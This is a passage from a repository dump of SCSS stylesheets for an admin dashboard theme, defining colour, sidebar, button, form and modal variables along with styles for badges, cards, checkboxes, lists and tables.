$teal: #58d8a3; 13 | $cyan: #57c7d4; 14 | $black: #000; 15 | $white: #ffffff; 16 | $white-smoke: #f2f7f8; 17 | $violet: #41478a; 18 | $darkslategray : #2e383e; 19 | $dodger-blue : #3498db; 20 | 21 | 22 | $colors: ( 23 | blue: $blue, 24 | indigo: $indigo, 25 | purple: $purple, 26 | pink: $pink, 27 | red: $red, 28 | orange: $orange, 29 | yellow: $yellow, 30 | green: $green, 31 | teal: $teal, 32 | cyan: $cyan, 33 | white: $white, 34 | gray: #434a54, 35 | gray-light: #aab2bd, 36 | gray-lighter: #e8eff4, 37 | gray-lightest: #e6e9ed, 38 | gray-dark: #0f1531, 39 | black: #000000 40 | ); 41 | 42 | 43 | $theme-colors: ( 44 | primary: #b66dff, 45 | secondary: #d8d8d8, 46 | success: #1bcfb4, 47 | info: #198ae3, 48 | warning: #fed713, 49 | danger: #fe7c96, 50 | light: #f8f9fa, 51 | dark: #3e4b5b 52 | ); 53 | 54 | $theme-gradient-colors: ( 55 | primary: linear-gradient(to right, #da8cff, #9a55ff), 56 | secondary: linear-gradient(to right, #e7ebf0, #868e96), 57 | success: linear-gradient(to right, #84d9d2, #07cdae), 58 | info: linear-gradient(to right, #90caf9, #047edf 99%), 59 | warning: linear-gradient(to right, #f6e384, #ffd500), 60 | danger: linear-gradient(to right, #ffbf96, #fe7096), 61 | light: linear-gradient(to bottom, #f4f4f4, #e4e4e9), 62 | dark: linear-gradient(89deg, #5e7188, #3e4b5b) 63 | ); 64 | 65 | 66 | ////////// COLOR SYSTEM ////////// 67 | 68 | ////////// COLOR VARIABLES ////////// 69 | $content-bg: #f2edf3; 70 | $footer-bg: $content-bg; 71 | $footer-color: color(dark); 72 | $border-color: #ebedf2; 73 | 74 | ////////// COLOR VARIABLES ////////// 75 | 76 | 77 | 78 | ////////// SOCIAL COLORS ////////// 79 | 80 | $social-colors: ( 81 | twitter: #2caae1, 82 | facebook: #3b579d, 83 | google: #dc4a38, 84 | linkedin: #0177b5, 85 | pinterest: #cc2127, 86 | youtube: #e52d27, 87 | github: #333333, 88 | behance: #1769ff, 89 | dribbble: #ea4c89, 90 | reddit: #ff4500 91 | ); 92 | 93 | ////////// SOCIAL COLORS ////////// 94 | 95 | ////////// FONTS// 96 | 97 | $type1-light: 'ubuntu-light', sans-serif; 98 | $type1-regular: 'ubuntu-regular', sans-serif; 99 | $type1-medium: 'ubuntu-medium', sans-serif; 100 | $type1-bold: 'ubuntu-bold', sans-serif; 101 | 102 | $default-font-size: .875rem; // 14px as base font size 103 | 104 | $text-muted: #9c9fa6; 105 | $body-color: #343a40; 106 | 107 | ////////// FONT VARIABLES ////////// 108 | 109 | ////////// SIDEBAR //////// 110 | $sidebar-width-lg: 260px; 111 | $sidebar-width-mini: 185px; 112 | $sidebar-width-icon: 70px; 113 | 114 | $sidebar-light-bg: $white; 115 | $sidebar-light-menu-color: #3e4b5b; 116 | $sidebar-light-submenu-color: #888; 117 | $sidebar-light-menu-active-bg: $white; 118 | $sidebar-light-menu-active-color: theme-color(primary); 119 | $sidebar-light-menu-hover-bg: darken($sidebar-light-bg, 1%); 120 | $sidebar-light-menu-hover-color: darken($sidebar-light-menu-color, 10%); 121 | $sidebar-light-submenu-hover-color: darken($sidebar-light-submenu-color, 20%); 122 | $sidebar-light-menu-icon-color: #bba8bff5; 123 | $sidebar-light-menu-arrow-color: #9e9da0; 124 | $sidebar-light-menu-border-color: #f2edf3; 125 | 126 | $sidebar-dark-bg: #18151e; 127 | $sidebar-dark-menu-color: $white; 128 | $sidebar-dark-menu-active-bg: #282037; 129 | $sidebar-dark-menu-active-color: color(white); 130 | $sidebar-dark-menu-hover-bg: #282037; 131 | $sidebar-dark-menu-hover-color: color(white); 132 | $sidebar-dark-submenu-color: $sidebar-dark-menu-color; 133 | $sidebar-dark-submenu-hover-bg: initial; 134 | $sidebar-dark-submenu-hover-color: #ffffff; 135 | 136 | $sidebar-menu-font-size: $default-font-size; 137 | $sidebar-menu-padding-y: 1.125rem; 138 | $sidebar-menu-padding-x: 2.25rem; 139 | 140 | $sidebar-submenu-font-size: .8125rem; 141 | $sidebar-submenu-item-padding: .75rem 2rem .75rem 2rem; 142 | 143 | $sidebar-icon-font-size: 1.125rem; 144 | $sidebar-arrow-font-size: .625rem; 145 | 146 | $sidebar-profile-bg: transparent; 147 | $sidebar-profile-padding: .75rem 1.625rem .75rem 1.188rem; 148 | 149 | $sidebar-mini-menu-padding: .8125rem 1rem .8125rem 1rem; 150 | 151 | $sidebar-icon-only-menu-padding: .5rem 1.625rem .5rem 1.188rem; 152 | $sidebar-icon-only-submenu-padding: 0 0 0 1.5rem; 153 | 154 | $rtl-sidebar-submenu-padding: 0 1.5rem 0 0; 155 | 156 | $icon-only-collapse-width: 190px; 157 | $icon-only-menu-bg-light: $sidebar-light-menu-hover-bg; 158 | $icon-only-menu-bg-dark: $sidebar-dark-menu-hover-bg; 159 | 160 | ///////// SIDEBAR //////// 161 | 162 | ///////// SETTINGS PANEL //////// 163 | 164 | $settings-panel-width: 300px; 165 | 166 | ///////// HORIZONTAL MENU ///////// 167 | $horizontal-menu-bg : #f6f8fa; 168 | $horizontal-menu-height : 4rem; 169 | $horizontal-menu-padding: 0 1rem; 170 | $horizontal-menu-item-color: #202339; 171 | $horizontal-menu-submenu-color: $horizontal-menu-item-color; 172 | $horizontal-menu-font-size: .875rem; 173 | $horizontal-menu-item-padding: .75rem 0; 174 | $horizontal-menu-icon-font-size: .9375rem; 175 | $horizontal-menu-submenu-item-padding: .85rem 0; 176 | 177 | $horizontal-boxed-menu-color: #9c9fa6; 178 | 179 | $horizontal-full-width-menu-color: #9c9fa6; 180 | ///////// HORIZONTAL MENU ///////// 181 | 182 | ///////// NAVBAR //////// 183 | 184 | $navbar-height: 70px; 185 | $navbar-menu-color: #9c9fa6; 186 | $navbar-font-size: .875rem; 187 | $navbar-icon-font-size: 1.25rem; 188 | 189 | ///////// NAVBAR //////// 190 | 191 | 192 | 193 | ///////// BUTTONS //////// 194 | 195 | $button-fixed-width: 150px; 196 | $btn-padding-y: .875rem; 197 | $btn-padding-x: 2.5rem; 198 | $btn-line-height: 1; 199 | 200 | $btn-padding-y-xs: .5rem; 201 | $btn-padding-x-xs: .75rem; 202 | 203 | $btn-padding-y-sm: .50rem; 204 | $btn-padding-x-sm: .81rem; 205 | 206 | $btn-padding-y-lg: 1rem; 207 | $btn-padding-x-lg: 3rem; 208 | 209 | $btn-font-size: .875rem; 210 | $btn-font-size-xs: .625rem; 211 | $btn-font-size-sm: .875rem; 212 | $btn-font-size-lg: .875rem; 213 | 214 | $btn-border-radius: .1875rem; 215 | $btn-border-radius-xs: .1875rem; 216 | $btn-border-radius-sm: .1875rem; 217 | $btn-border-radius-lg: .1875rem; 218 | 219 | ///////// BUTTONS //////// 220 | 221 | 222 | 223 | ////////// TOOLTIP VARIABLES ////////// 224 | 225 | //default styles 226 | $tooltip-font-size: .75rem; 227 | $tooltip-padding-y: .4rem; 228 | $tooltip-padding-x: .75rem; 229 | $tooltip-border-radius: .375rem; 230 | 231 | ////////// TOOLTIP VARIABLES ////////// 232 | 233 | 234 | 235 | ///////// FORMS ///////// 236 | 237 | $input-bg: color(white); 238 | $input-border-radius: 2px; 239 | $input-placeholder-color: #c9c8c8; 240 | $input-font-size: .8125rem; 241 | 242 | $input-padding-y: .875rem; 243 | $input-padding-x: 1.375rem; 244 | $input-line-height: 1; 245 | 246 | $input-padding-y-xs: .5rem; 247 | $input-padding-x-xs: .75rem; 248 | 249 | $input-padding-y-sm: .50rem; 250 | $input-padding-x-sm: .81rem; 251 | 252 | $input-padding-y-lg: .94rem; 253 | $input-padding-x-lg: 1.94rem; 254 | 255 | ///////// FORMS ///////// 256 | 257 | //////// DROPDOWNS /////// 258 | 259 | $dropdown-border-color: $border-color; 260 | $dropdown-divider-bg: $border-color; 261 | $dropdown-link-color: $body-color; 262 | $dropdown-header-color: $body-color; 263 | //////// DROPDOWNS /////// 264 | 265 | //////// TABLES //////// 266 | 267 | $table-accent-bg: $content-bg; 268 | $table-hover-bg: $content-bg; 269 | $table-cell-padding: .9375rem; 270 | $table-border-color: $border-color; 271 | 272 | $table-inverse-bg: #2a2b32; 273 | $table-inverse-color: color(white); 274 | 275 | //////// TABLES //////// 276 | 277 | 278 | 279 | ////////// MEASUREMENT AND PROPERTY VARIABLES ////////// 280 | 281 | $boxed-container-width: 1200px; 282 | $border-property: 1px solid $border-color; 283 | $card-spacing-y: 2.5rem; 284 | $card-padding-y: 2.5rem; 285 | $card-padding-x: 2.5rem; 286 | $card-border-radius: .3125rem; 287 | $card-description-color: #76838f; 288 | $grid-gutter-width: 40px; 289 | $action-transition-duration: 0.25s; 290 | $action-transition-timing-function: ease; 291 | ////////// OTHER VARIABLES ////////// 292 | 293 | 294 | 295 | ////////// BREAD CRUMBS VARIABLES ////////// 296 | 297 | // default styles 298 | $breadcrumb-padding-y: 0.56rem; 299 | $breadcrumb-padding-x: 1.13rem; 300 | $breadcrumb-item-padding: .5rem; 301 | $breadcrumb-margin-bottom: 1rem; 302 | $breadcrumb-font-size: $default-font-size; 303 | $breadcrumb-bg: transparent; 304 | $breadcrumb-border-color: $border-color; 305 | $breadcrumb-divider-color: $gray-600; 306 | $breadcrumb-active-color: $gray-700; 307 | $breadcrumb-divider: "/"; 308 | 309 | // custom styles 310 | $breadcrumb-custom-padding-y: 0; 311 | $breadcrumb-custom-padding-x: 0; 312 | $breadcrumb-custom-item-padding-y: 0.56rem; 313 | $breadcrumb-custom-item-padding-x: 10px; 314 | $breadcrumb-custom-item-color: $black; 315 | $breadcrumb-item-bg: #dbe3e6; 316 | 317 | ////////// BREAD CRUMBS VARIABLES ////////// 318 | 319 | 320 | 321 | ////////// MODALS VARIABLES ////////// 322 | 323 | $modal-inner-padding: 15px; 324 | $modal-dialog-margin: 10px; 325 | $modal-dialog-margin-y-sm-up: 30px; 326 | $modal-title-line-height: $line-height-base; 327 | $modal-content-bg: $content-bg; 328 | $modal-content-box-shadow-xs: 0 3px 9px rgba($black,.5); 329 | $modal-content-box-shadow-sm-up: 0 5px 15px rgba($black,.5); 330 | 331 | $modal-backdrop-bg: $black; 332 | $modal-backdrop-opacity: .5; 333 | 334 | $modal-header-border-color: $border-color; 335 | $modal-content-border-color: $border-color; 336 | $modal-footer-border-color: $border-color; 337 | 338 | $modal-header-border-width: $border-width; 339 | $modal-content-border-width: $border-width; 340 | $modal-footer-border-width: $border-width; 341 | 342 | $modal-header-padding-x: 26px; 343 | $modal-header-padding-y: 25px; 344 | 345 | $modal-body-padding-x: 26px; 346 | $modal-body-padding-y: 35px; 347 | 348 | $modal-footer-padding-x: 31px; 349 | $modal-footer-padding-y: 15px; 350 | 351 | $modal-lg: 90%; 352 | $modal-md: 500px; 353 | $modal-sm: 300px; 354 | $modal-transition: transform .4s ease; 355 | 356 | ////////// MODALS VARIABLES ////////// 357 | 358 | ///////// TABS VARIABLES ////////// 359 | $nav-tabs-border-color: #ebedf2; 360 | $nav-tabs-link-bg: #f6f8fa; 361 | $nav-tabs-link-color: #000000; 362 | $nav-tabs-link-hover-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-border-color; 363 | $nav-tabs-link-active-color: $body-color; 364 | $nav-tabs-link-active-bg: $white; 365 | $nav-tabs-link-active-border-color: $nav-tabs-border-color $nav-tabs-border-color $nav-tabs-link-active-bg; 366 | $nav-pills-custom-bg: #fcfcfd; 367 | //////// TABS VARIABLES ///////// 368 | 369 | //////// CALENDAR ////////////// 370 | $fullcalendar-color: #a8b2b9; 371 | //////// CALENDAR ////////////// -------------------------------------------------------------------------------- /static/user/scss/components/_badges.scss: -------------------------------------------------------------------------------- 1 | /* Badges */ 2 | 3 | .badge { 4 | border-radius: .125rem; 5 | font-size: 11px; 6 | font-weight: initial; 7 | line-height: 1; 8 | padding: .375rem .5625rem; 9 | font-family: $type1-medium; 10 | &.badge-pill { 11 | border-radius: 10rem; 12 | } 13 | } 14 | 15 | 16 | /*Badge variations*/ 17 | @each $color, $value in $theme-colors { 18 | .badge-#{$color} { 19 | @include badge-variations($value); 20 | } 21 | } 22 | 23 | /*Badge gradient variations*/ 24 | @each $color, $value in $theme-gradient-colors { 25 | .badge-gradient-#{$color} { 26 | @include badge-gradient-variations($value); 27 | } 28 | } 29 | 30 | /*Badge outlined variations*/ 31 | @each $color, $value in $theme-colors { 32 | .badge-outline-#{$color} { 33 | @include badge-outline-variations($value); 34 | } 35 | } -------------------------------------------------------------------------------- /static/user/scss/components/_bootstrap-progress.scss: -------------------------------------------------------------------------------- 1 | /* Bootstrap Progress */ 2 | 3 | .progress { 4 | @include border-radius(3px); 5 | height: 8px; 6 | .progress-bar { 7 | @include border-radius(3px); 8 | } 9 | 10 | &.progress-sm{ 11 | height: 0.375rem; 12 | } 13 | &.progress-md { 14 | height: 8px; 15 | } 16 | &.progress-lg { 17 | height: 15px; 18 | } 19 | &.progress-xl { 20 | height: 18px; 21 | } 22 | } -------------------------------------------------------------------------------- /static/user/scss/components/_buttons.scss: -------------------------------------------------------------------------------- 1 | /* Buttons */ 2 | 3 | .btn { 4 | font-size: $btn-font-size; 5 | line-height: 1; 6 | font-family: $type1-bold; 7 | i { 8 | font-size: 1rem; 9 | } 10 | &.btn-rounded { 11 | @include border-radius(50px); 12 | } 13 | &.btn-fw { 14 | min-width: $button-fixed-width; 15 | } 16 | &.btn-sm { 17 | font-size: $btn-font-size-sm; 18 | } 19 | &.btn-lg { 20 | font-size: $btn-font-size-lg; 21 | } 22 | &.btn-xs { 23 | padding: $btn-padding-y-xs $btn-padding-x-xs; 24 | font-size: $btn-font-size-xs; 25 | } 26 | /* Buttons with only icons */ 27 | &.btn-icon { 28 | width: 42px; 29 | height: 42px; 30 | padding: 0; 31 | } 32 | /* Buttons with icon and text */ 33 | &.btn-icon-text { 34 | .btn-icon-prepend { 35 | margin-right: .5rem; 36 | } 37 | .btn-icon-append { 38 | margin-left: .5rem; 39 | } 40 | } 41 | &.btn-social-icon { 42 | width: 50px; 43 | height: 50px; 44 | padding: 0; 45 | } 46 | } 47 | 48 | .btn-group { 49 | .btn { 50 | + .btn { 51 | border-left: 0; 52 | } 53 | } 54 | } 55 | 56 | .btn-toolbar { 57 | .btn-group { 58 | +.btn-group { 59 | @extend .ml-2; 60 | } 61 | } 62 | } 63 | /*social buttons*/ 64 | @each $color, $value in $social-colors { 65 | .btn-#{$color} { 66 | @include social-button(social-color($color)); 67 | } 68 | .btn-outline-#{$color} { 69 | @include social-outline-button(social-color($color)); 70 | } 71 | } 72 | /* inverse buttons */ 73 | @each $color, $value in $theme-colors { 74 | .btn-inverse-#{$color} { 75 | @include button-inverse-variant($value); 76 | } 77 | .btn-#{$color}:not(.btn-light) { 78 | color: $white; 79 | &:hover, 80 | &:focus, 81 | &:active { 82 | color: $white; 83 | } 84 | &:focus, 85 | &:active { 86 | background: $value; 87 | border-color: $value; 88 | } 89 | } 90 | .btn-outline-#{$color} { 91 | &:hover, 92 | &:focus, 93 | &:active { 94 | background: theme-gradient-color($color); 95 | color: $white; 96 | } 97 | } 98 | } 99 | /* gradient buttons */ 100 | @each $color, $value in $theme-gradient-colors { 101 | .btn-gradient-#{$color} { 102 | @include button-gradient-variant($value); 103 | } 104 | } -------------------------------------------------------------------------------- /static/user/scss/components/_cards.scss: -------------------------------------------------------------------------------- 1 | /* Cards */ 2 | 3 | .card { 4 | border: 0; 5 | .card-body { 6 | padding: $card-padding-y $card-padding-x; 7 | + .card-body { 8 | padding-top: 1rem; 9 | } 10 | } 11 | .card-title { 12 | color: $black; 13 | margin-bottom: .75rem; 14 | text-transform: capitalize; 15 | font-family: $type1-medium; 16 | font-size: 1.125rem; 17 | } 18 | .card-subtitle { 19 | @extend .text-gray; 20 | font-family: $type1-regular; 21 | margin-top: 0.625rem; 22 | margin-bottom: 0.625rem; 23 | 24 | } 25 | .card-description { 26 | margin-bottom: 1.5rem; 27 | font-family: $type1-regular; 28 | color: $card-description-color; 29 | } 30 | &.card-outline-success { 31 | border: 1px solid theme-color("success"); 32 | } 33 | &.card-outline-primary { 34 | border: 1px solid theme-color("primary"); 35 | } 36 | &.card-outline-warning { 37 | border: 1px solid theme-color("warning"); 38 | } 39 | &.card-outline-danger { 40 | border: 1px solid theme-color("danger"); 41 | } 42 | &.card-rounded { 43 | @include border-radius(5px); 44 | } 45 | 46 | &.card-faded { 47 | background: #b5b0b2; 48 | border-color: #b5b0b2; 49 | } 50 | &.card-circle-progress { 51 | color: $white; 52 | text-align: center; 53 | } 54 | &.card-img-holder { 55 | position: relative; 56 | .card-img-absolute { 57 | position: absolute; 58 | top:0; 59 | right: 0; 60 | height: 100%; 61 | } 62 | } 63 | } 64 | 65 | @each $color, $value in $theme-colors { 66 | .card-inverse-#{$color} { 67 | @include card-inverse-variant(rgba(theme-color($color), .2), theme-color-level($color, 1), theme-color-level($color, 3)); 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /static/user/scss/components/_checkbox-radio.scss: -------------------------------------------------------------------------------- 1 | /* Checkboxes and Radios */ 2 | 3 | .form-check { 4 | position: relative; 5 | display: block; 6 | margin-top: 15px; 7 | margin-bottom: 10px; 8 | padding-left: 0; 9 | 10 | .form-check-label { 11 | display: block; 12 | margin-left: 1.75rem; 13 | font-size: $default-font-size; 14 | line-height: 1.5; 15 | .rtl & { 16 | margin-left: 0; 17 | margin-right: 1.75rem; 18 | } 19 | 20 | input { 21 | position: absolute; 22 | top: 0; 23 | left: 0; 24 | .rtl & { 25 | left: auto; 26 | right: 0; 27 | } 28 | margin-left: 0; 29 | margin-top: 0; 30 | z-index: 1; 31 | cursor: pointer; 32 | opacity: 0; 33 | filter: alpha(opacity=0); 34 | } 35 | input[type="checkbox"] { 36 | + .input-helper { 37 | &:before, 38 | &:after { 39 | position: absolute; 40 | top: 0; 41 | left: 0; 42 | .rtl & { 43 | left: auto; 44 | right: 0; 45 | } 46 | } 47 | &:before { 48 | content: ""; 49 | width: 18px; 50 | height: 18px; 51 | border-radius: 2px; 52 | border: solid theme-color(primary); 53 | border-width: 2px; 54 | @include transition(all); 55 | transition-duration: 0s; 56 | -webkit-transition-duration: 250ms; 57 | transition-duration: 250ms; 58 | } 59 | 60 | &:after { 61 | @include transition(all); 62 | transition-duration: 0s; 63 | -webkit-transition-duration: 250ms; 64 | transition-duration: 250ms; 65 | font-family: Material Design Icons; 66 | opacity: 0; 67 | filter: alpha(opacity=0); 68 | -webkit-transform: scale(0); 69 | -ms-transform: scale(0); 70 | -o-transform: scale(0); 71 | transform: scale(0); 72 | content: '\F12C'; 73 | font-size: .9375rem; 74 | font-weight: bold; 75 | color: $white; 76 | } 77 | } 78 | &:checked { 79 | +.input-helper { 80 | &:before { 81 | background: theme-gradient-color(primary); 82 | border-width: 0; 83 | } 84 | &:after { 85 | width: 18px; 86 | opacity: 1; 87 | line-height: 18px; 88 | filter: alpha(opacity=100); 89 | -webkit-transform: scale(1); 90 | -ms-transform: scale(1); 91 | -o-transform: scale(1); 92 | transform: scale(1); 93 | } 94 | } 95 | } 96 | 97 | &:disabled { 98 | + .input-helper { 99 | &:before { 100 | border-color: $border-color; 101 | } 102 | } 103 | 104 | &:checked { 105 | + .input-helper { 106 | &:after { 107 | background: $border-color; 108 | color: $white; 109 | } 110 | } 111 | } 112 | } 113 | } 114 | input[type="radio"] { 115 | +.input-helper { 116 | &:before { 117 | position: absolute; 118 | content: ""; 119 | top: 0; 120 | left: 0; 121 | .rtl & { 122 | left: auto; 123 | right: 0; 124 | } 125 | border: solid theme-color(primary); 126 | border-width: 2px; 127 | width: 20px; 128 | height: 20px; 129 | border-radius: 50%; 130 | @include transition(all); 131 | transition-duration: 0s; 132 | -webkit-transition-duration: 250ms; 133 | transition-duration: 250ms; 134 | } 135 | 136 | &:after { 137 | content: ""; 138 | width: 8px; 139 | height: 8px; 140 | background: $white; 141 | border-radius: 50%; 142 | top: 6px; 143 | left: 6px; 144 | .rtl & { 145 | left: auto; 146 | right: 6px; 147 | } 148 | -webkit-transition: all; 149 | -o-transition: all; 150 | transition: all; 151 | transition-duration: 0s; 152 | -webkit-transition-duration: 250ms; 153 | transition-duration: 250ms; 154 | opacity: 0; 155 | filter: alpha(opacity=0); 156 | -webkit-transform: scale(0); 157 | -ms-transform: scale(0); 158 | -o-transform: scale(0); 159 | transform: scale(0); 160 | position: absolute; 161 | } 162 | } 163 | 164 | &:checked { 165 | +.input-helper { 166 | &:before { 167 | background: theme-gradient-color(primary); 168 | border-width: 0; 169 | } 170 | 171 | &:after { 172 | opacity: 1; 173 | line-height: 1.5; 174 | filter: alpha(opacity=100); 175 | -webkit-transform: scale(1); 176 | -ms-transform: scale(1); 177 | -o-transform: scale(1); 178 | transform: scale(1); 179 | } 180 | } 181 | } 182 | 183 | &:disabled { 184 | + .input-helper { 185 | &:before { 186 | border-color: $border-color; 187 | } 188 | } 189 | 190 | &:checked { 191 | + .input-helper { 192 | &:before { 193 | background: $border-color; 194 | } 195 | 196 | &:after { 197 | background: $white; 198 | } 199 | } 200 | } 201 | } 202 | } 203 | } 204 | } 205 | 206 | @each $color, $value in $theme-gradient-colors { 207 | .form-check-#{$color} { 208 | &.form-check { 209 | label { 210 | input[type="checkbox"], 211 | input[type="radio"] { 212 | +.input-helper { 213 | &:before { 214 | border-color: theme-color($color); 215 | } 216 | } 217 | &:checked { 218 | +.input-helper { 219 | &:before { 220 | background: $value; 221 | } 222 | } 223 | } 224 | } 225 | } 226 | } 227 | } 228 | } 229 | 230 | @media (min-width: 576px) { 231 | .form-inline .form-check { 232 | 233 | } 234 | } -------------------------------------------------------------------------------- /static/user/scss/components/_dropdown.scss: -------------------------------------------------------------------------------- 1 | /* Dropdowns */ 2 | 3 | .dropdown { 4 | .dropdown-toggle { 5 | &:after { 6 | border-top: 0; 7 | border-right: 0; 8 | border-left: 0; 9 | border-bottom: 0; 10 | font: normal normal normal 24px/1 "Material Design Icons"; 11 | content: "\f140"; 12 | width: auto; 13 | height: auto; 14 | vertical-align: baseline; 15 | font-size: .75rem; 16 | } 17 | } 18 | .dropdown-menu { 19 | margin-top: .75rem; 20 | font-size: $default-font-size; 21 | box-shadow: 0px 1px 15px 1px rgba(230, 234, 236, 0.35); 22 | .dropdown-item { 23 | font-size: 1rem; 24 | padding: .25rem 1.5rem; 25 | &:active { 26 | background: initial; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /static/user/scss/components/_forms.scss: -------------------------------------------------------------------------------- 1 | /* Forms */ 2 | 3 | .form-group { 4 | margin-bottom: 1.5rem; 5 | } 6 | .input-group-append, 7 | .input-group-prepend { 8 | color: $input-placeholder-color; 9 | width: auto; 10 | border: none; 11 | 12 | .input-group-text { 13 | border-color: $border-color; 14 | padding: $input-padding-y .75rem; 15 | color: $input-placeholder-color; 16 | } 17 | } 18 | .form-control { 19 | border: 1px solid $border-color; 20 | font-family: $type1-regular; 21 | font-size: $input-font-size; 22 | } 23 | 24 | select { 25 | &.form-control { 26 | padding: .4375rem .75rem; 27 | border: 0; 28 | outline: 1px solid $border-color; 29 | color: $input-placeholder-color; 30 | &:focus { 31 | outline: 1px solid $border-color; 32 | } 33 | @each $color, $value in $theme-colors { 34 | &.border-#{$color} { 35 | outline: 1px solid $value; 36 | &:focus { 37 | outline: 1px solid $value; 38 | } 39 | } 40 | } 41 | } 42 | } 43 | .form-group { 44 | label { 45 | font-size: $default-font-size; 46 | line-height: 1; 47 | vertical-align: top; 48 | margin-bottom: .5rem; 49 | } 50 | &.has-danger { 51 | .form-control { 52 | border-color: theme-color(danger); 53 | } 54 | } 55 | .file-upload-default { 56 | visibility: hidden; 57 | position: absolute; 58 | } 59 | .file-upload-info { 60 | background: transparent; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /static/user/scss/components/_icons.scss: -------------------------------------------------------------------------------- 1 | /* Icons */ 2 | 3 | .icons-list { 4 | border-left: 1px solid $border-color; 5 | border-top: 1px solid $border-color; 6 | margin-left: 0; 7 | margin-right: 0; 8 | >div { 9 | background: $white; 10 | border-bottom: 1px solid $border-color; 11 | border-right: 1px solid $border-color; 12 | @include display-flex; 13 | @include align-items(center); 14 | padding:15px 15px; 15 | font-family: $type1-regular; 16 | font-size: $default-font-size; 17 | 18 | i { 19 | display: inline-block; 20 | font-size: 20px; 21 | width: 40px; 22 | text-align: left; 23 | color: theme-color(primary); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /static/user/scss/components/_lists.scss: -------------------------------------------------------------------------------- 1 | /* Lists */ 2 | 3 | ul, 4 | ol, 5 | dl { 6 | padding-left: 1rem; 7 | font-size: $default-font-size; 8 | li { 9 | line-height: 1.8; 10 | } 11 | } 12 | 13 | .list-ticked, 14 | .list-arrow, 15 | .list-star { 16 | list-style: none; 17 | padding: 0; 18 | li { 19 | padding-left: 1.5rem; 20 | &:before { 21 | font-family: "Material Design Icons"; 22 | margin-left: -1.5rem; 23 | width: 1.5rem; 24 | margin-right: .5rem; 25 | } 26 | } 27 | } 28 | 29 | .list-ticked { 30 | li { 31 | &:before { 32 | content: '\F12D'; 33 | color: theme-color(danger); 34 | } 35 | } 36 | } 37 | 38 | .list-arrow { 39 | li { 40 | &:before { 41 | content: '\F142'; 42 | color: theme-color(success); 43 | } 44 | } 45 | } 46 | 47 | .list-star { 48 | li { 49 | &:before { 50 | content: '\F4CE'; 51 | color: theme-color(warning); 52 | } 53 | } 54 | } 55 | 56 | .gradient-bullet-list { 57 | padding-left: 0; 58 | .rtl & { 59 | padding-right: 0; 60 | } 61 | li { 62 | position: relative; 63 | list-style-type: none; 64 | padding-left: 25px; 65 | line-height: 1; 66 | padding-bottom: 25px; 67 | &:before, 68 | &:after { 69 | content:""; 70 | position: absolute; 71 | } 72 | &:before { 73 | top: 0; 74 | left: 0; 75 | width: 15px; 76 | height: 15px; 77 | border-radius: 100%; 78 | } 79 | &:after { 80 | width: 11px; 81 | height: 11px; 82 | top: 2px; 83 | left: 2px; 84 | background: $white; 85 | border-radius: 100%; 86 | } 87 | &:nth-child(1) { 88 | &:before { 89 | background: theme-gradient-color(danger); 90 | } 91 | } 92 | &:nth-child(2) { 93 | &:before { 94 | background: theme-gradient-color(info); 95 | } 96 | } 97 | &:nth-child(3) { 98 | &:before { 99 | background: theme-gradient-color(warning); 100 | } 101 | } 102 | &:nth-child(4) { 103 | &:before { 104 | background: theme-gradient-color(success); 105 | } 106 | } 107 | &:nth-child(5) { 108 | &:before { 109 | background: theme-gradient-color(primary); 110 | } 111 | } 112 | } 113 | } -------------------------------------------------------------------------------- /static/user/scss/components/_preview.scss: -------------------------------------------------------------------------------- 1 | /* Preview */ 2 | 3 | .preview-list { 4 | .preview-item { 5 | @include display-flex; 6 | @include flex-direction(row); 7 | @include align-items(flex-start); 8 | padding: .75rem 1.5rem; 9 | font-size: .875rem; 10 | &:last-child { 11 | border-bottom: 0; 12 | } 13 | &:hover { 14 | background: $dropdown-link-hover-bg; 15 | } 16 | .form-check { 17 | margin-top: 8px; 18 | margin-right: 1rem; 19 | } 20 | .preview-thumbnail { 21 | color: color(white); 22 | position: relative; 23 | img, 24 | .preview-icon { 25 | width: 36px; 26 | height: 36px; 27 | border-radius: 100%; 28 | } 29 | .preview-icon { 30 | padding: 6px; 31 | text-align: center; 32 | @include display-flex; 33 | @include align-items(center); 34 | @include justify-content(center); 35 | i { 36 | font-size: 1.125rem; 37 | margin: 0; 38 | .rtl & { 39 | @extend .ml-0; 40 | } 41 | } 42 | } 43 | .badge { 44 | border: 2px solid color(white); 45 | border-radius: 100%; 46 | bottom: 5px; 47 | display: block; 48 | height: 14px; 49 | left: -5px; 50 | padding: 0; 51 | position: absolute; 52 | width: 14px; 53 | &.badge-online { 54 | @extend .badge-success; 55 | } 56 | &.badge-offline { 57 | @extend .badge-info; 58 | } 59 | &.badge-busy { 60 | @extend .badge-warning; 61 | } 62 | } 63 | } 64 | .preview-item-content { 65 | line-height: 1; 66 | padding-left: 15px; 67 | &:first-child { 68 | padding-left: 0; 69 | } 70 | p { 71 | margin-bottom: 10px; 72 | .content-category { 73 | font-family: 'source-sans-pro-semibold', sans-serif; 74 | padding-right: 15px; 75 | border-right: 1px solid $border-color; 76 | @extend .text-muted; 77 | } 78 | } 79 | .rtl & { 80 | padding-left: 0; 81 | padding-right: 1rem; 82 | margin-right: 0; 83 | margin-left: auto; 84 | } 85 | } 86 | .preview-actions { 87 | @include display-flex; 88 | @include flex-direction(row); 89 | i { 90 | width: 29px; 91 | color: color(gray-lightest); 92 | height: 29px; 93 | border: 2px solid color(gray-lightest); 94 | border-radius: 100%; 95 | padding: 3px 6px; 96 | display: inline-block; 97 | &:first-child { 98 | margin-right: 10px; 99 | } 100 | } 101 | } 102 | } 103 | &.comment-preview { 104 | .preview-item { 105 | padding: .87rem 0; 106 | &:first-child { 107 | padding-top: 0; 108 | } 109 | p { 110 | line-height: 27px; 111 | } 112 | } 113 | } 114 | &.bordered { 115 | .preview-item { 116 | border-bottom: 1px solid $border-color; 117 | &:last-child { 118 | border-bottom: 0; 119 | } 120 | } 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /static/user/scss/components/_tables.scss: -------------------------------------------------------------------------------- 1 | /* Tables */ 2 | 3 | .table { 4 | margin-bottom: 0; 5 | thead { 6 | th { 7 | border-top: 0; 8 | border-bottom-width: 1px; 9 | font-family: $type1-medium; 10 | font-weight: initial; 11 | i{ 12 | margin-left: 0.325rem; 13 | } 14 | } 15 | } 16 | th, 17 | td { 18 | vertical-align: middle; 19 | font-size: $default-font-size; 20 | line-height: 1; 21 | img { 22 | width: 36px; 23 | height: 36px; 24 | border-radius: 100%; 25 | } 26 | 